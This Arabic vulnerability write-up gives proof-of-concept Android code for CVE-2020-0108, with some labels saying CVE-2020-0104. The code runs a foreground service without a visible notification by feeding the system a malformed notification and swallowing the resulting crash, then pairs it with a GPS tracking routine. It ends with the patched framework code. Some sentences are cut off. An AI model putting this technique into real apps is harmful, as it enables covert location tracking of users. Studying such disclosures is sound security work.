
إثبات المفهوم لـ CVE-2020-0108
onNotificationError في NotificationManagerService، والتي لا تعالج الحالات الشاذة في عرض الإشعار بشكل صحيح.// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
}
RemoteViews، يفشل تحليل تخطيط الإشعار في NotificationManagerService ويطرح استثناءً، مما يستدعي طريقة onNotificationError. نظرًا لأن طريقة onNotificationError تستدعي فقط cancelNotification لإلغاء الإشعار، ولا تقوم بإنهاء الخدمة أو التطبيق بالكامل، تستمر الخدمة الأمامية في العمل دون عرض إشعار.postNotification في ServiceRecord، والتي لا تعالج الحالات الشاذة في عرض الإشعار بشكل صحيح، بل تطرح الاستثناء إلى برنامج المستخدم.// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
final int appUid = appInfo.uid;
final int appPid = app.pid;
if (foregroundId != 0 && foregroundNoti != null) {
//...
ams.mHandler.post(new Runnable() {
public void run() {
//...
try {
//...
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.setServiceForeground(instanceName, ServiceRecord.this,
0, null, 0, 0);
ams.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground: " + e);
}
}
});
}
}
postNotification في ServiceRecord. في معالجة الاستثناء، يتم فقط استدعاء طريقة crashApplication في AMS لطرح استثناء في الخيط الرئيسي للتطبيق. لكن إذا قام التطبيق بالتقاط الاستثناء في الخيط الرئيسي، فلن ينهار التطبيق، وبالتالي تستمر الخدمة الأمامية في العمل دون عرض إشعار.NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
// Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setCustomBigContentView(remoteViews)
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(1, notification);
RemoteViews، قمنا بتحديد معرف التخطيط -1، وهو بالتأكيد قيمة غير صالحة. هذا يؤدي إلى تشغيل استدعاء onNotificationError.// Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
while (true) {
try {
Looper.loop();
} catch (Throwable e) {
e.printStackTrace();
}
}
}
});
// Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(2, notification);
NotificationChannel، بل استخدمنا معرف قناة غير صالح مباشرة لبناء الإشعار. هذا يؤدي إلى تشغيل استثناء طريقة postNotification، ثم نلتقط الاستثناء في الخيط الرئيسي، وبالتالي لا ينهار التطبيق.public void refreshLocation() {
LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
String provider = LocationManager.GPS_PROVIDER;
if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
return;
}
locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
@Override
public void onLocationChanged(Location location) {
double lat = location.getLatitude();
double lng = location.getLongitude();
Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
}
@Override
public void onProviderEnabled(String provider) {
}
@Override
public void onProviderDisabled(String provider) {
}
});
}
onNotificationError، وكذلك في معالجة الاستثناء في طريقة postNotification، يتم فرض انهيار التطبيق. في طريقة crashApplication، مع الوضع القسري force=true، يقوم AMS بقتل التطبيق قسرًا خلال ٥ ثوانٍ من طرح الاستثناء، حتى إذا قام التطبيق بالتقاط الاستثناء.onNotificationError، يتم استدعاء crashApplication لانهيار التطبيق، مع force=true.// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
final boolean fgService;
synchronized (mNotificationLock) {
NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
}
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
if (fgService) {
// Still crash for foreground services, preventing the not-crash behaviour abused
// by apps to give us a garbage notification and silently start a fg service.
Binder.withCleanCallingIdentity(
() -> mAm.crashApplication(uid, initialPid, pkg, -1,
"Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
+ pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
+ message, true /* force */));
}
}
postNotification، يتم استدعاء طريقة killMisbehavingService لقتل الخدمة التي تتصرف بشكل غير طبيعي.// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.mServices.killMisbehavingService(record,
appUid, appPid, localPackageName);
}
killMisbehavingService، بالإضافة إلى القفل، يتم أيضًا استدعاء طريقة crashApplication.// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
int appUid, int appPid, String localPackageName) {
synchronized (mAm) {
stopServiceLocked(r);
mAm.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground", true /*force*/);
}
}
force=true تكون كالتالي: خلال ٥ ثوانٍ من طرح الاستثناء، يتم قتل التطبيق قسرًا.// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
// If the app is responsive, the scheduled crash will happen as expected
// and then the delayed summary kill will be a no-op.
final ProcessRecord p = proc;
mService.mHandler.postDelayed(
() -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
5000L);
}